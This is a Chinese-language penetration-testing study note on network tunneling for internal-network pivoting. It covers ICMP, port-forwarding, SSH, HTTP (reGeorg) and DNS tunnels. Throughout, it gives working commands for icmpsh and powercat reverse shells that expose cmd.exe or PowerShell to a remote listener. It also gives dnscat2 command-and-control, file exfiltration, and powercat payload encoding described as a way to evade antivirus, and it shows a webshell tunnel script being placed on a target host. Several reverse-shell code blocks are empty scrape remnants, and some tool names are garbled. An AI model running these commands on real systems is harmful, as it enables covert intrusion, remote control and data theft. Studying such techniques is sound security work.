网络层隧道
1.IPv6隧道
2.ICMP隧道
ICMP隧道工具有 PingTunnel,icmptunnel,lcmpsh,powershell icmp等
A.icmpsh
B.pingtunnel
icmpsh
https://github.com/bdamele/icmpsh
:::info
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh m.py IP(公网) IP(内网)
icmpsh.exe -t 公网IP -d 500 -b 30 -s 128
:::
使用本地模拟 ICMP
:::info
kali 192.168.145.130
win10 192.168.145.129
:::
全都是ICMP包的数据 ,证明是使用ICMP传输的
传输层隧道
Icx端口转发
:::info
1.Icx端口转发
A.内网端口转发
目标机器:
Icx.exe -slave 公网主机ip 4444 127.0.0.1 3389
VPS:
Icx.exe -listen 4444 5555
B.本地端口映射
lcx -tran 53目标主机ip 3389
没有找到exe 的 找一个 使用go开发的
https://github.com/cw1997/NATBypass
:::
netcat
端口扫描
nc -v -z 192.168.145.129 1-3389
这些是不存在的端口
这是存在的端口
也可以使用 nc -nv 192.168.145.129 1-80
扫描到还会返回网页数据
正向连接
1 |
|
反向shell
存在NC ,而且存在-e 参数
1 |
|
不存在NC
1 |
|
存在python 环境
1 |
|
存在PHP环境
1 |
|
存在Perl环境
1 |
|
文件传输
发送端
1 |
|
接收端
1 |
|
但是貌似不行,没-e参数
传过来了是这么个数据
nc作为代理
使用nc作为一个简单的端口转发
1 |
|
命令实现单向的转发,将链接到本机8080的连接转发到192.168.1.1:80
实现双向管道
1 |
|
powercat
:::info
下载 powercat
https://github.com/besimorhino/powercat
导入 powercat
先设置权限
Set-ExecutionPolicy Unrestricted
再导入
Import-Module .\powercat.psl
查看帮助 -h
powercat -h
:::
1 |
|
powercat 正向连接
powercat -l -p 4444 -e cmd -v
nc 连接 nc 192.168.145.129 4444
powercat 反向连接
nc -l -p 8080 -vv
Windows 端 powercat -c 172.23.85.7 -p 8080 -v -e cmd.exe
win7反向连接win2008 并返回Powershell
win7 执行powercat -l -p 8080 -v
win 2008 执行powercat -c 192.168.145.10 -p 8080 -v -ep
Powercat 文件传输
win7 执行 powercat -l -p 8080 -of 路径 -v
win2008 powercat -c 192.168.145.10 -p 8080 -i 路径 -v
Powercat 生成 payload(躲避杀软)
win7powercat -l -p 8080 -e cmd -v -g >>shell.ps1
或者powercat -l -p 8080 -e cmd -v -ge
这样会生成编码
可以在 08 执行
powercat -E 生成后的编码
win2008 ./shell.ps1
Powercat - DNS协议(DNSCAT)
下载dnscat
1 |
|
linux 端 ruby dnscat2.rb test.test -e open --no-cache
windows端powercat -c 172.23.85.7 -p 53 -dns test.test -e cmd
就会返回linux 端
输入
session -i 1
进行连接
因为是dns 所以反应比较慢
powercat 转发
win08 powercat -l -v -p 9999 -e cmd
win7 powercat -l -v -p 8000 -r tcp:192.168.145.129:9999
linux nc 172.23.85.7 8000 -vv
应用层隧道
SSH隧道
:::info
SSH协议原理
SSH中间人攻击原理
SSH隧道技术3种转发原理
三种转发技术的应用场景分析
动态转发的衍生利用技术
·本地端口转发+远程端口转发的应用场景
:::
在应用层的隧道通信技术是利用应用软件提供的端口发送数据,常用的隧道协议是SSH、 HTTP、 HTTPS和DNS。
大概理解为:
本质上就是端口转发。它能够将其他 TCP 端口的网络数据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输而得名。 SSH 端口转发能够提供两大功能: 1.加密 SSH Client 端至 SSH Server 端之间的通讯数据。 2.突破防火墙的限制完成一些之前无法建立的 TCP 连接。
SSH 配置文件
ssh 常用命令参数
:::info
创建隧道常用的参数说明:
-C:压缩传输,提高传输速度
-f:将ssh转入后台执行,不占用当前的shell
-N:建立静默连接(不回显ssh页面)
-g:允许远程主机连接本地用于端口转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态端口转发(socket代理)
-p:指定ssh端
:::
本地转发和远程转发
SSH 端口转发自然需要 SSH 连接,而 SSH 连接是有方向的,从 SSH Client 到 SSH Server 。而我们的应用也是有方向的,比如需要连接 LDAP Server 时,LDAP Server 自然就是 Server 端,我们应用连接的方向也是从应用的 Client 端连接到应用的 Server 端。如果这两个连接的方向一致,那我们就说它是本地转发。而如果两个方向不一致,我们就说它是远程转发。 另一个方便记忆的方法是,Server 端的端口都是预定义的固定端口(SSH Server 的端口 22,LDAP 的端口 389),而 Client 端的端口都是动态可供我们选择的端口(如上述例子中选用的 7001 端口)。如果 Server 端的两个端口都在同一台机器,Client 端的两个端口都在另一台机器上,那么这就是本地连接;如果这四个端口交叉分布在两个机器上,每台机器各有一个 Server 端端口,一个 Client 端端口,那就是远程连接
本地端口转发
:::info
ssh -L 本地端口:目标主机:目标端口 jump
ssh -L 2121:1.1.10:21 root@192.168.1.11
:::
都挺简单,由于 命令就几条,但是要配置环境就没去配置了
参考 :
https://blog.csdn.net/weixin_42742658/article/details/122735119
https://zhuanlan.zhihu.com/p/513691592
https://blog.csdn.net/qq_38844490/article/details/126776873
HTTP协议 —reGeorg隧道
reGeorg 简介
隧道工具 — reGeorg
https://github.com/sensepost/reGeorg
reGeorg 是一个内网穿透工具,基于 socks5,而且支持众多脚本。因为使用频繁,所以较多的杀软都会拦截,需要做免杀处理。
免杀 版本reG 下载地址:https://github.com/L-codes/Neo-reGeorg
此工具还做了加密,所以很多特征都没有了
——————————————————————————————————————-
把其中的脚本放在目标主机上
这里把 tunnel.php 放在目标主机中 ,
这个文件似乎有点问题 换成 tunnel.nosocket.php
连接上了
配置socks代理
vim /etc/proxychains4.conf
成功执行
DNS 隧道工具
iodine :
https://github.com/yarrick/iodine
dnscat:
https://github.com/iagox86/dnscat2